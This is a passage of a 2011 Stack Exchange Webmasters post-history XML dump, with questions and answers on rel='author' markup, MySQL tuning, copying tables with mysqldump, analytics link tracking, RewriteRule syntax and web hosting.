same&#xD;&#xA;&gt; name and bio information on separate websites is actually the same&#xD;&#xA;&gt; person.&#xD;&#xA;&gt; &#xD;&#xA;&gt; **Why The Distinction?**&#xD;&#xA;&gt; &#xD;&#xA;&gt; I think what Google is getting at here is that there could be some&#xD;&#xA;&gt; user confusion over who persons are between social networks,&#xD;&#xA;&gt; especially if several users share a common name, whereas authors on a&#xD;&#xA;&gt; website might be better found – and their names more searchable – if&#xD;&#xA;&gt; links included a rel=”author” tag.&#xD;&#xA;&gt; &#xD;&#xA;&gt; The rel=”author” attribute is clearly encouraged for news sites where&#xD;&#xA;&gt; several authors might write pages on a regular basis, but it doesn’t&#xD;&#xA;&gt; mean that small businesses with several writers can’t also use the&#xD;&#xA;&gt; same markup strategy. I think you can.&#xD;&#xA;&#xD;&#xA;Google will use `rel=&quot;author&quot;` to show a profile image for the author when a relevant search result written by them is shown. [Example][2].&#xD;&#xA;&#xD;&#xA;**update**&#xD;&#xA;&#xD;&#xA;Apparently this feature is coming in Wordpress. Until then [you can use a hack to get it into your Wordpress blog now][3].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.smallbusinessmavericks.com/internetmarketing/small-business-internet-marketing/relme-relauthor-attributes/06/10/2011/&#xD;&#xA;  [2]: http://www.google.com/search?sourceid=chrome&amp;ie=UTF-8&amp;q=codinh%20horror&#xD;&#xA;  [3]: http://jdwho.com/2011/06/08/wordpress-and-rel-author-goodness/" />
  <row Id="46403" PostHistoryTypeId="2" PostId="18963" RevisionGUID="a6374558-93c8-4645-8fc7-91ec421c6221" CreationDate="2011-08-30T19:06:25.673" UserId="9936" Text="For a highly trafficked site, you should tune all MySQL buffers for the content that is in place now. Regardless of the version of WordPress, [the MySQL layer can have its configuration computed][1].&#xD;&#xA;&#xD;&#xA;In fact, if you have InnoDB data without enabling innodb_file_per_table, [you need to cleanup InnoDB by segmenting each table into its own physical tablespace][2]. It is possible to do decent MySQL tuning [even if you have a limited hardware][3]. There are [many scenarios for doing such InnoDB optimizations][4].&#xD;&#xA;&#xD;&#xA;IMHO, you cannot plan good settings for my.cnf without knowing the amount of data to configure for. You would have to periodically load a current dataset from production into a staging environment, perform optimizations and come away with the numbers to configure in the my.cnf of the production server.&#xD;&#xA;&#xD;&#xA;  [1]: http://dba.stackexchange.com/questions/1/what-are-the-main-differences-between-innodb-and-myisam/2194#2194&#xD;&#xA;  [2]: http://serverfault.com/questions/155455/how-do-myisam-and-innodb-utilize-hd-space/246111#246111&#xD;&#xA;  [3]: http://serverfault.com/questions/253059/mysql-innodb-optimisation/253233#253233&#xD;&#xA;  [4]: http://stackoverflow.com/questions/5248420/at-what-point-does-mysql-innodb-fine-tuning-become-a-requirement/5250306#5250306" />
  <row Id="46404" PostHistoryTypeId="2" PostId="18964" RevisionGUID="476fe6ee-50f8-4060-8b89-531400d908aa" CreationDate="2011-08-30T19:50:17.490" UserId="5264" Text="I currently host a ASP.NET MVC site on Microsoft Azure. It's a great service, but a little pricey. Costs like $0.12 an hour just to have your site live, and then they also charge SQL Transfer and storage fees. Not CRAZY expensive, but like basically $100/month even if the site isn't doing anything.&#xD;&#xA;&#xD;&#xA;I wanted to find a web host for an ASP.NET MVC site, that isn't going to break the bank while it's in its growing phase. Only data we really need is for storing user accounts for sign-up/logins, and for hosting images. I know a lot of hosts serve PHP/MySQL, and there's also plenty that serve ASP.NET Web Forms, but not nearly as many that serve ASP.NET MVC/SQL Server.&#xD;&#xA;&#xD;&#xA;You guys know of any that suit these conditions and are pretty easy to setup?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="46405" PostHistoryTypeId="1" PostId="18964" RevisionGUID="476fe6ee-50f8-4060-8b89-531400d908aa" CreationDate="2011-08-30T19:50:17.490" UserId="5264" Text="Web Host for ASP.NET MVC Web Site" />
  <row Id="46406" PostHistoryTypeId="3" PostId="18964" RevisionGUID="476fe6ee-50f8-4060-8b89-531400d908aa" CreationDate="2011-08-30T19:50:17.490" UserId="5264" Text="&lt;web-hosting&gt;&lt;webserver&gt;&lt;asp.net-mvc&gt;&lt;sql-server&gt;" />
  <row Id="46407" PostHistoryTypeId="2" PostId="18965" RevisionGUID="892c1522-f7e1-42fb-9d38-dc3bd632495d" CreationDate="2011-08-30T20:12:29.093" UserId="9902" Text="Is the google +1 button domain dependent or url dependent?&#xD;&#xA;&#xD;&#xA;Ie:&#xD;&#xA;&#xD;&#xA;If exampledomain.com  has a +1 count of 20, will exampledomain.com/anotherpage  also have a count of 20 ?" />
  <row Id="46408" PostHistoryTypeId="1" PostId="18965" RevisionGUID="892c1522-f7e1-42fb-9d38-dc3bd632495d" CreationDate="2011-08-30T20:12:29.093" UserId="9902" Text="Is the google +1 button domain dependent or url dependent?" />
  <row Id="46409" PostHistoryTypeId="3" PostId="18965" RevisionGUID="892c1522-f7e1-42fb-9d38-dc3bd632495d" CreationDate="2011-08-30T20:12:29.093" UserId="9902" Text="&lt;google-plus-one&gt;" />
  <row Id="46410" PostHistoryTypeId="2" PostId="18966" RevisionGUID="055738b4-0633-4eda-8a66-23440326b207" CreationDate="2011-08-30T20:29:39.420" UserId="1253" Text="It is URL dependent. So if the homepage (exampledomain.com) has 20 +1's it does not mean any inner pages (exampledomain.com/anotherpage) are also considered to have 20 +1's as well. " />
  <row Id="46411" PostHistoryTypeId="2" PostId="18967" RevisionGUID="6a6a9089-e9b4-4e3b-bc92-5a31395f8a13" CreationDate="2011-08-30T20:44:08.283" UserId="7447" Text="I want to purchase a few expired domains, who have some backlinks, but some of those sites have PR of -1 with backlinks which are pretty bad.&#xD;&#xA;&#xD;&#xA;But what exactly do I need to look for when looking for an expired domain (and I don't want to pay up the nose for a PR3+ domain).&#xD;&#xA;&#xD;&#xA;Any help &amp; guidance would be appreciated." />
  <row Id="46412" PostHistoryTypeId="1" PostId="18967" RevisionGUID="6a6a9089-e9b4-4e3b-bc92-5a31395f8a13" CreationDate="2011-08-30T20:44:08.283" UserId="7447" Text="Buying expired domains - what to look for?" />
  <row Id="46413" PostHistoryTypeId="3" PostId="18967" RevisionGUID="6a6a9089-e9b4-4e3b-bc92-5a31395f8a13" CreationDate="2011-08-30T20:44:08.283" UserId="7447" Text="&lt;domains&gt;&lt;pagerank&gt;" />
  <row Id="46414" PostHistoryTypeId="5" PostId="18967" RevisionGUID="b2e2a2db-b709-408e-95d3-f5c21e3eb2ff" CreationDate="2011-08-30T20:49:01.090" UserId="1253" Comment="deleted 45 characters in body" Text="I want to purchase a few expired domains, who have some backlinks, but some of those sites have PR of -1 with backlinks which are pretty bad.&#xD;&#xA;&#xD;&#xA;But what exactly do I need to look for when looking for an expired domain (and I don't want to pay up the nose for a PR3+ domain)." />
  <row Id="46415" PostHistoryTypeId="2" PostId="18968" RevisionGUID="cc0d7c25-da9c-41cd-a4f5-f2ad32005bf1" CreationDate="2011-08-30T20:50:00.543" UserId="8153" Text="How Facebook downloads images, when you click &quot;Download&quot; near the picture? I see, that they are passing some argument: &#xD;&#xA;&#xD;&#xA;    _n.jpg?dl=1&#xD;&#xA;,but how it is managed 'behind the scenes'?" />
  <row Id="46416" PostHistoryTypeId="1" PostId="18968" RevisionGUID="cc0d7c25-da9c-41cd-a4f5-f2ad32005bf1" CreationDate="2011-08-30T20:50:00.543" UserId="8153" Text="How FB downloads images to my HDD" />
  <row Id="46417" PostHistoryTypeId="3" PostId="18968" RevisionGUID="cc0d7c25-da9c-41cd-a4f5-f2ad32005bf1" CreationDate="2011-08-30T20:50:00.543" UserId="8153" Text="&lt;php&gt;&lt;facebook&gt;&lt;download&gt;" />
  <row Id="46418" PostHistoryTypeId="2" PostId="18969" RevisionGUID="1531d49c-0fef-4da0-b9ea-b494f2d9bdd9" CreationDate="2011-08-30T20:53:57.027" UserId="1253" Text="Doing this [may not have the effect on PageRank that you're looking for][1]. Also, if the domains you're considering were penalized for violating the terms of service of the search engines, you may find it difficult to get them indexed and ranking well. What makes it difficult to purchase expired domains is you usually cannot find out much about how it was previously used. &#xD;&#xA;&#xD;&#xA;Probably your best bet is to buy the domains that you know have traffic and do 301 redirects to your main domain. That way you can still get the traffic but your content does not reside on the domain and *shouldn't* be affected by any penalties associated with it. It's hard to say for sure as I have not seen any concrete information about how Google and the other search engines handle this.&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/18843/is-it-worth-paying-for-a-domain-with-a-pagerank-of-6/18844#18844" />
  <row Id="46419" PostHistoryTypeId="4" PostId="18968" RevisionGUID="1c31ab3a-84e8-419e-8ed9-3d5698a18437" CreationDate="2011-08-30T21:02:44.937" UserId="8153" Comment="edited title" Text="How does Facebook saves images to my HDD" />
  <row Id="46420" PostHistoryTypeId="6" PostId="18968" RevisionGUID="f4731b9a-60d7-4f6c-9759-2b012c82020e" CreationDate="2011-08-30T21:16:51.983" UserId="8153" Comment="edited tags" Text="&lt;php&gt;&lt;facebook&gt;&lt;python&gt;&lt;download&gt;" />
  <row Id="46421" PostHistoryTypeId="2" PostId="18970" RevisionGUID="a7e73f52-ca83-406e-90a0-a8fc5791d3d0" CreationDate="2011-08-30T21:30:20.103" UserId="9936" Text="If you have these conditions&#xD;&#xA;&#xD;&#xA;- Live DB can be accessed by public IP&#xD;&#xA;- All Needed Tables are InnoDB&#xD;&#xA;&#xD;&#xA;You can perform a mysqldump of individual tables&#xD;&#xA;&#xD;&#xA;Here is how using a shell script may accomplishe this when run from the local machine:&#xD;&#xA;&#xD;&#xA;    LIVEDB_IP=192.168.1.10&#xD;&#xA;    MYSQL_SRCUSER=whateverusername&#xD;&#xA;    MYSQL_SRCPASS=whateverpassword&#xD;&#xA;    MYSQL_SRCCONN=&quot;-h${LIVEDB_IP} -u${MYSQL_SRCUSER} -p${MYSQL_SRCPASS}&quot;&#xD;&#xA;    SOURCE_DB=mydb_source&#xD;&#xA;    &#xD;&#xA;    MYSQL_TGTUSER=whateverusername2&#xD;&#xA;    MYSQL_TGTPASS=whateverpassword2&#xD;&#xA;    MYSQL_TGTCONN=&quot;-h127.0.0.1 -u${MYSQL_TGTUSER} -p${MYSQL_TGTPASS}&quot;&#xD;&#xA;    TARGET_DB=mydb_target&#xD;&#xA;    &#xD;&#xA;    TBLLIST=&quot;tb1 tb2 tb3&quot;&#xD;&#xA;    for TB in `echo &quot;${TBLLIST}&quot;`&#xD;&#xA;    do&#xD;&#xA;        mysqldump ${MYSQL_SRCCONN} --single-transaction ${SOURCE_DB} ${TB} | mysql ${MYSQL_TGTCONN} -A -D${TARGET_DB} &amp;&#xD;&#xA;    done&#xD;&#xA;    wait&#xD;&#xA;&#xD;&#xA;The --single-transaction option causes a point-in-time snapshot of the table to take place while still allowing INSERTs, UPDATEs, and DELETEs back in the source database.&#xD;&#xA;&#xD;&#xA;If the tables are rather big, there may be timeout issues. Try this script instead:&#xD;&#xA;&#xD;&#xA;    LIVEDB_IP=192.168.1.10&#xD;&#xA;    MYSQL_SRCUSER=whateverusername&#xD;&#xA;    MYSQL_SRCPASS=whateverpassword&#xD;&#xA;    MYSQL_SRCCONN=&quot;-h${LIVEDB_IP} -u${MYSQL_SRCUSER} -p${MYSQL_SRCPASS}&quot;&#xD;&#xA;    SOURCE_DB=mydb_source&#xD;&#xA;    &#xD;&#xA;    MYSQL_TGTUSER=whateverusername2&#xD;&#xA;    MYSQL_TGTPASS=whateverpassword2&#xD;&#xA;    MYSQL_TGTCONN=&quot;-h127.0.0.1 -u${MYSQL_TGTUSER} -p${MYSQL_TGTPASS}&quot;&#xD;&#xA;    TARGET_DB=mydb_target&#xD;&#xA;    &#xD;&#xA;    TBLLIST=&quot;tb1 tb2 tb3&quot;&#xD;&#xA;    for TB in `echo &quot;${TBLLIST}&quot;`&#xD;&#xA;    do&#xD;&#xA;        mysqldump ${MYSQL_SRCCONN} --single-transaction ${SOURCE_DB} ${TB} | gzip &gt; ${TB}.sql.gz &amp;&#xD;&#xA;    done&#xD;&#xA;    wait&#xD;&#xA;&#xD;&#xA;    for TB in `echo &quot;${TBLLIST}&quot;`&#xD;&#xA;    do&#xD;&#xA;        gzip -d &lt; ${TB}.sql.gz | mysql ${MYSQL_TGTCONN} -A -D${TARGET_DB} &amp;&#xD;&#xA;    done&#xD;&#xA;    wait&#xD;&#xA;&#xD;&#xA;Give it a Try !!!&#xD;&#xA;&#xD;&#xA;CAVEAT&#xD;&#xA;&#xD;&#xA;If the tables needed are MyISAM, just remove --single-transaction from the mysqldump. This may cause queries at the source database to freeze until the the mysqldump is done with the tables the queries need. In that event, just perform this script during low traffic hours.&#xD;&#xA;" />
  <row Id="46422" PostHistoryTypeId="25" PostId="18965" RevisionGUID="8e87407e-5d13-4bfb-bb17-4fb762242b8b" CreationDate="2011-08-30T21:36:12.963" Comment="http://twitter.com/#!/StackWebmasters/status/108654276473139200" />
  <row Id="46423" PostHistoryTypeId="2" PostId="18971" RevisionGUID="1a862e1a-8091-4dbd-871d-c2efc799c65c" CreationDate="2011-08-30T22:24:06.123" UserId="9358" Text="Google says that is not good to set indexable other SERP exception if in that page there's some unique content of quality. I've a search engine based on CSE and - for exit from hard penalization - I set disallow serp pages on robots.txt." />
  <row Id="46424" PostHistoryTypeId="2" PostId="18972" RevisionGUID="a1d79596-35db-4e4a-978d-b8aaa978442d" CreationDate="2011-08-31T00:07:33.350" UserId="1064" Text="When the `dl` GET variable is set, Facebook's servers add the `Content-Disposition: attachment` header.&#xD;&#xA;&#xD;&#xA;See [RFC 2616][1] for details on the Content-Disposition header.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.5.1" />
  <row Id="46426" PostHistoryTypeId="10" PostId="15130" RevisionGUID="26542f92-27bd-4ada-9512-32b5daa43c29" CreationDate="2011-08-31T00:33:13.190" UserId="1064" CloseReasonId="2" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46427" PostHistoryTypeId="2" PostId="18974" RevisionGUID="d7fd22e6-7b3d-466e-b0b0-2ad9e7f3a2d1" CreationDate="2011-08-31T00:33:24.083" UserId="6207" Text="I want to build an application that contains users and helps them organise themselves by creating something similar to a calendar/doodle. I want to link it to an iPhone application later on. &#xD;&#xA;&#xD;&#xA;Is it better to use a CMS and extend it (if yes, which?) or use a framework?&#xD;&#xA;" />
  <row Id="46428" PostHistoryTypeId="1" PostId="18974" RevisionGUID="d7fd22e6-7b3d-466e-b0b0-2ad9e7f3a2d1" CreationDate="2011-08-31T00:33:24.083" UserId="6207" Text="Use CMS or Framework to build a web application" />
  <row Id="46429" PostHistoryTypeId="3" PostId="18974" RevisionGUID="d7fd22e6-7b3d-466e-b0b0-2ad9e7f3a2d1" CreationDate="2011-08-31T00:33:24.083" UserId="6207" Text="&lt;cms&gt;" />
  <row Id="46430" PostHistoryTypeId="25" PostId="18954" RevisionGUID="e4dc0a8a-29ec-4e04-b814-080ea953bc05" CreationDate="2011-08-31T00:36:12.740" Comment="http://twitter.com/#!/StackWebmasters/status/108699574604017664" />
  <row Id="46431" PostHistoryTypeId="10" PostId="18974" RevisionGUID="d22775f7-6d66-4fb4-b7ff-0924df74691b" CreationDate="2011-08-31T01:01:53.490" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="46432" PostHistoryTypeId="2" PostId="18975" RevisionGUID="093569e6-dd6f-44a6-bf5d-63ed906640bc" CreationDate="2011-08-31T01:24:59.493" UserId="4306" Text="This is my favourite script for tracking outgoing links and opening in a new window. This is for the async version of GA.&#xD;&#xA;&#xD;&#xA;It uses jQuery for convenience, and has a few 'not' classes that you can use as overrides.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    &lt;script type=&quot;text/javascript&quot;&gt;&#xD;&#xA;    $(document).ready(function(){&#xD;&#xA;        $('a:not(.popupwindow)').filter(function() {&#xD;&#xA;            var theHref = this;&#xD;&#xA;            if (theHref.hostname &amp;&amp; theHref.hostname !== location.hostname) {&#xD;&#xA;                $(theHref).not(&quot;.noAutoIcon&quot;).addClass(&quot;offSite&quot;);&#xD;&#xA;                $(theHref).not(&quot;.noAutoLink&quot;).attr('target','_blank').bind('click keypress', function(event) {&#xD;&#xA;                    var code=event.charCode || event.keyCode;&#xD;&#xA;                    if (!code || (code &amp;&amp; code == 13)) {&#xD;&#xA;                        var fixedLink = this.href;&#xD;&#xA;                        fixedLink = fixedLink.replace(/https?:\/\/(.*)/,&quot;$1&quot;);&#xD;&#xA;                        fixedLink = '/outgoing/' + fixedLink;&#xD;&#xA;                        _gaq.push(['_trackPageview', fixedLink]);&#xD;&#xA;                    };&#xD;&#xA;                });&#xD;&#xA;            };&#xD;&#xA;        });&#xD;&#xA;    });&#xD;&#xA;    &lt;/script&gt;&#xD;&#xA;&#xD;&#xA;Originally from here, I think:&#xD;&#xA;&#xD;&#xA;* http://iso-100.com/blog/post/updated-script-for-tracking-outbound-links-in-google-analytics-with-jquery/&#xD;&#xA;" />
  <row Id="46433" PostHistoryTypeId="2" PostId="18976" RevisionGUID="8b1b77c5-d505-4dc0-88a4-cd774ee50293" CreationDate="2011-08-31T01:58:11.150" UserId="1064" Text="&gt; [I]f there's a reliable method of sniffing the browser and modifying the&#xD;&#xA;&gt; start of the document (so only sending the &lt;?xml-stylesheet ...&gt; bit&#xD;&#xA;&gt; to IE) then that would be an acceptable alternative.&#xD;&#xA;&#xD;&#xA;This PHP statement will match any browsers which include &quot;MSIE&quot; in the user agent string and you could refine the criteria by adding a version number, if desired:&#xD;&#xA;&#xD;&#xA;    $flag_is_ie = (false !== strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE'));&#xD;&#xA;&#xD;&#xA;... with version numbers:&#xD;&#xA;&#xD;&#xA;    $flag_is_ie = (false !== strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 6.'));&#xD;&#xA;    $flag_is_ie = ( $flag_is_ie || (false !== strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE 7.')));" />
  <row Id="46434" PostHistoryTypeId="10" PostId="18551" RevisionGUID="96c71380-7b75-4142-8f45-4f5661666851" CreationDate="2011-08-31T02:00:48.213" UserId="1064" CloseReasonId="7" Text="[{&quot;Id&quot;:1064,&quot;DisplayName&quot;:&quot;danlefree&quot;}]" />
  <row Id="46439" PostHistoryTypeId="25" PostId="18947" RevisionGUID="d83ea3f4-384e-460f-a7b3-2d4775ffc336" CreationDate="2011-08-31T03:37:16.670" Comment="http://twitter.com/#!/StackWebmasters/status/108745142059532289" />
  <row Id="46440" PostHistoryTypeId="2" PostId="18978" RevisionGUID="4277987e-2b40-497f-9a61-44c3cf7d1733" CreationDate="2011-08-31T05:05:43.920" UserId="1455" Text="I just changed the URLs for my entire website. I have set up 301 permanent redirects for all old URLs to new URLs. Rel=canonical are set to new URLs.&#xD;&#xA;All Facebook Like buttons count have returned to 0. Any way to get the original count showing on the new URLs?" />
  <row Id="46441" PostHistoryTypeId="1" PostId="18978" RevisionGUID="4277987e-2b40-497f-9a61-44c3cf7d1733" CreationDate="2011-08-31T05:05:43.920" UserId="1455" Text="Retrieve Facebook Like count after changing URL structure for entire website" />
  <row Id="46442" PostHistoryTypeId="3" PostId="18978" RevisionGUID="4277987e-2b40-497f-9a61-44c3cf7d1733" CreationDate="2011-08-31T05:05:43.920" UserId="1455" Text="&lt;facebook&gt;&lt;301-redirect&gt;&lt;like&gt;" />
  <row Id="46444" PostHistoryTypeId="5" PostId="18895" RevisionGUID="29e7be44-fcfb-446c-a7e4-3d7548985e29" CreationDate="2011-08-31T06:10:11.670" UserId="9909" Comment="added 6 characters in body" Text="Frankly I never look at Yahoo and Bing to bring me too much traffic. What I do instead is try to funnel traffic to my sites using Google, Twitter, Facebook, Youtube and many others. If your site is OK with Google, I think you can buy it because Yahoo and Bing don't bring you too much traffic.&#xD;&#xA;&#xD;&#xA;I know that ignoring Y and B is maybe not so good on the long run, but as I see it, in the next 3-5 years Google will still be the most used Search Engine out there." />
  <row Id="46445" PostHistoryTypeId="2" PostId="18980" RevisionGUID="7704f368-9c6e-4af6-9df9-f01aac19c59d" CreationDate="2011-08-31T06:22:28.450" UserId="9909" Text="@Chris: It depends. My laptop is a mobile device, my netbook and also my mobile phone. &#xD;&#xA;&#xD;&#xA;On topic: What I would do is gather every gadget available on your corporate site and try to view your website with it. I have a 15inch laptop and a 10.1 inch netbook, which both can be considered standalone computers and not mobile devices. On the laptop my website looks perfect, but when I try to view it from the netbook a column gets shifted to the bottom of the website. Not good.&#xD;&#xA;&#xD;&#xA;Do you have some analytics for your website? What are the resolutions of the devices which generally view your website?&#xD;&#xA;&#xD;&#xA;I would get the top 5 or 10 resolutions and make the site optimized for them. If your tablet has a 10&quot; resolution and you can see your website perfectly on it, why optimize? Maybe you could tweak a bit the site to be lighter in terms of graphics, but overall if you think your site doesn't need a mobile version for a particular gadget then don't make it. Will save time and you can do more important stuff.&#xD;&#xA;&#xD;&#xA;Anyway, also make sure your mobile versions keep a lot of functionality and are not there for the sake of being there. Make some research before starting to digg into it." />
  <row Id="46446" PostHistoryTypeId="25" PostId="18957" RevisionGUID="1ce8201b-3cff-4fd9-9564-b4867458f443" CreationDate="2011-08-31T06:37:16.700" Comment="http://twitter.com/#!/StackWebmasters/status/108790439670325249" />
  <row Id="46447" PostHistoryTypeId="2" PostId="18981" RevisionGUID="6881659b-3599-418a-9fd8-054bd562f36f" CreationDate="2011-08-31T06:52:21.600" UserId="9965" Text="&quot;[On adding alpha channels to JPEG images][1]&quot; requires you to embedded the PNG alpha layer into the JPEG image as metadata, and then use Javascript to convert the `&lt;img&gt;` tag to `&lt;canvas&gt;` and process that alpha layer.&#xD;&#xA;&#xD;&#xA;His example works in Firefox and Webkit browsers, but not in my IE8.&#xD;&#xA;&#xD;&#xA;Given the amount of work (preparing a JPEG file with PNG alpha layer) and problem in IE8 I would not recommend this. Instead you can use OptiPNG to optimize PNG size.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://jim.studt.net/jpeg-alpha/" />
  <row Id="46448" PostHistoryTypeId="2" PostId="18982" RevisionGUID="7289e81a-c6a9-4b6f-a0be-f171fef001ff" CreationDate="2011-08-31T07:52:40.023" UserId="8286" Text="JPEG compression artefacts would mean that a lot of pixels you might expect to be #d67fff aren't - unless you use lossless JPEG, in which case you're not getting the compression benefits you expressly want.&#xD;&#xA;&#xD;&#xA;In the future you may be able to do this with CSS clip, but at the moment arbitrary polygons don't see to be supported.&#xD;&#xA;&#xD;&#xA;The best way to achieve this with a JPEG that I can see is to use SVG. Either use the JPEG as a pattern image to fill a polygon, or create a polygonal clip for it." />
  <row Id="46449" PostHistoryTypeId="2" PostId="18983" RevisionGUID="62d87948-46b1-4124-8148-db089850bc21" CreationDate="2011-08-31T08:01:10.763" UserId="576" Text="[This Microsoft site page lets you search for hosting providers][1] based on parameters like type of server (shared, dedicated, virtual server) cost, technologies supported, storage, number of SQL Databases, number of e-mail accounts, bandwidth per month, support, uptime  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.microsoft.com/web/Hosting/Home" />
  <row Id="46450" PostHistoryTypeId="2" PostId="18984" RevisionGUID="3a3840d4-3d15-4c79-91b7-ce107d3b5ae2" CreationDate="2011-08-31T08:28:24.287" UserId="9679" Text="I keep seeing the `^` character in `RewriteRule` statements in a context that doesn't fit with the usage specified [here](http://www.cs.unc.edu/~jbs/resources/perl/perl-basics/regular_expressions.html).&#xD;&#xA;&#xD;&#xA;For example: `RewriteRule ^(.*)$ $1.php [L,QSA]`&#xD;&#xA;&#xD;&#xA;What does it signify?" />
  <row Id="46451" PostHistoryTypeId="1" PostId="18984" RevisionGUID="3a3840d4-3d15-4c79-91b7-ce107d3b5ae2" CreationDate="2011-08-31T08:28:24.287" UserId="9679" Text="What's the &quot;^&quot; in RewriteRule Statements?" />
  <row Id="46452" PostHistoryTypeId="3" PostId="18984" RevisionGUID="3a3840d4-3d15-4c79-91b7-ce107d3b5ae2" CreationDate="2011-08-31T08:28:24.287" UserId="9679" Text="&lt;htaccess&gt;&lt;mod-rewrite&gt;" />
  <row Id="46453" PostHistoryTypeId="2" PostId="18985" RevisionGUID="2db9b2ef-92aa-435c-8d9b-c98f218f595c" CreationDate="2011-08-31T08:29:11.570" UserId="1643" Text="As the definition of mobile in the way you're using it is really about screen resolution I'd use CSS media queries to select different stylesheets. This is a different approach to having a &quot;mobile&quot; version of your site, but with the proliferation of devices is going to be better in the long run. It also means that you don't have to maintain two versions of the site. Here's an example of using a media query:&#xD;&#xA;&#xD;&#xA;    &lt;link rel='stylesheet' media='screen and (min-width: 701px) and (max-width: 900px)' href='css/medium.css' /&gt;" />
  <row Id="46454" PostHistoryTypeId="2" PostId="18986" RevisionGUID="cc7ef2ca-6c0d-4b22-b14d-5ea13aef3020" CreationDate="2011-08-31T08:31:28.757" UserId="1643" Text="It means &quot;this matches the start of the string&quot;. So in your example the rule does the rewrite if there's&#xD;&#xA;&#xD;&#xA; - the start of the string (^)&#xD;&#xA; - any character (.)&#xD;&#xA; - any number of characters (*)&#xD;&#xA; - the end of the string ($)&#xD;&#xA;&#xD;&#xA;In other words, this whole expression matches any string that isn't zero length." />
  <row Id="46455" PostHistoryTypeId="2" PostId="18987" RevisionGUID="544c79f8-d954-495a-8062-03185731e6dc" CreationDate="2011-08-31T08:44:03.607" UserId="9185" Text="I experienced (except the few most recent webbrowser) not much of any other webbrowser is capable of displaying an .svg image from withing a .css with the aid of url(). &#xD;&#xA;&#xD;&#xA;With the aid of the embed tag, there is the possibility to refer a client to a missing plugin witht the pluginspage attribute:&#xD;&#xA;&#xD;&#xA;    &lt;embed src=&quot;/svg/simple-example-1.jsp&quot;&#xD;&#xA;           width=&quot;300&quot; height=&quot;220&quot;&#xD;&#xA;           type=&quot;image/svg+xml&quot;&#xD;&#xA;           pluginspage=&quot;http://www.adobe.com/svg/viewer/install/&quot; /&gt;&#xD;&#xA;&#xD;&#xA;Since the adobe plugin is outdated, one can also refer to the corel svg viewer. &#xD;&#xA;&#xD;&#xA;What is the best strategy to deal with old browsers ? Is there a mechanism to refer them to a plugin if the .svg image is included from withi a .css?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Ref:&#xD;&#xA;http://tutorials.jenkov.com/svg/displaying-svg-in-web-browsers.html" />
  <row Id="46456" PostHistoryTypeId="1" PostId="18987" RevisionGUID="544c79f8-d954-495a-8062-03185731e6dc" CreationDate="2011-08-31T08:44:03.607" UserId="9185" Text=".svg as background with the aid of stylesheet" />
  <row Id="46457" PostHistoryTypeId="3" PostId="18987" RevisionGUID="544c79f8-d954-495a-8062-03185731e6dc" CreationDate="2011-08-31T08:44:03.607" UserId="9185" Text="&lt;css&gt;&lt;image&gt;&lt;plugin&gt;&lt;referrer&gt;&lt;svg&gt;" />
  <row Id="46458" PostHistoryTypeId="2" PostId="18988" RevisionGUID="2e71a8de-f986-4569-84b4-bf66bb5f613b" CreationDate="2011-08-31T08:47:03.657" UserId="2490" Text="I can suggest [Arvixe][1] as I use them. They give you mvc and sql server and iis7. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3.html" />
  <row Id="46459" PostHistoryTypeId="2" PostId="18989" RevisionGUID="32275582-6d5c-4420-b47c-8ae55ce2e4bc" CreationDate="2011-08-31T08:49:19.020" UserId="2490" Text="You can put it on a simple php hosting like [Arvixe][1] &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-2.html" />
  <row Id="46460" PostHistoryTypeId="2" PostId="18990" RevisionGUID="a2ee57c4-0353-412d-a41d-abf155851a9a" CreationDate="2011-08-31T08:54:41.090" UserId="8009" Text="Is it feasible to send marketing emails entirely as images - apart from a link at the top, giving the option for the recipient to view the email online (in their browser) and one at the footer to unsubscribe from our mailing list?&#xD;&#xA;&#xD;&#xA;Anyone who's coded a html email template before knows how much of a pain it is to end up with the final design that displays 'properly' (rarely does it display the same in all clients) and doesn't break.&#xD;&#xA;&#xD;&#xA;I understand there's the possibility of people simply ignoring the email altogether should their email clients be set not to automatically download images, but many of our email primarily feature images anyway. Thoughts?" />
  <row Id="46461" PostHistoryTypeId="1" PostId="18990" RevisionGUID="a2ee57c4-0353-412d-a41d-abf155851a9a" CreationDate="2011-08-31T08:54:41.090" UserId="8009" Text="Feasible to send marketing emails as an image?" />
  <row Id="46462" PostHistoryTypeId="3" PostId="18990" RevisionGUID="a2ee57c4-0353-412d-a41d-abf155851a9a" CreationDate="2011-08-31T08:54:41.090" UserId="8009" Text="&lt;email&gt;" />
  <row Id="46463" PostHistoryTypeId="5" PostId="18986" RevisionGUID="7196fb70-900e-4c1b-87ae-43950746ee11" CreationDate="2011-08-31T09:02:11.280" UserId="1643" Comment="made accurate" Text="It means &quot;this matches the start of the string&quot;. So in your example the rule does the rewrite if there's&#xD;&#xA;&#xD;&#xA; - the start of the string (^)&#xD;&#xA; - any character (.)&#xD;&#xA; - any number of characters (*)&#xD;&#xA; - the end of the string ($)&#xD;&#xA;&#xD;&#xA;In other words, this whole expression matches any string." />
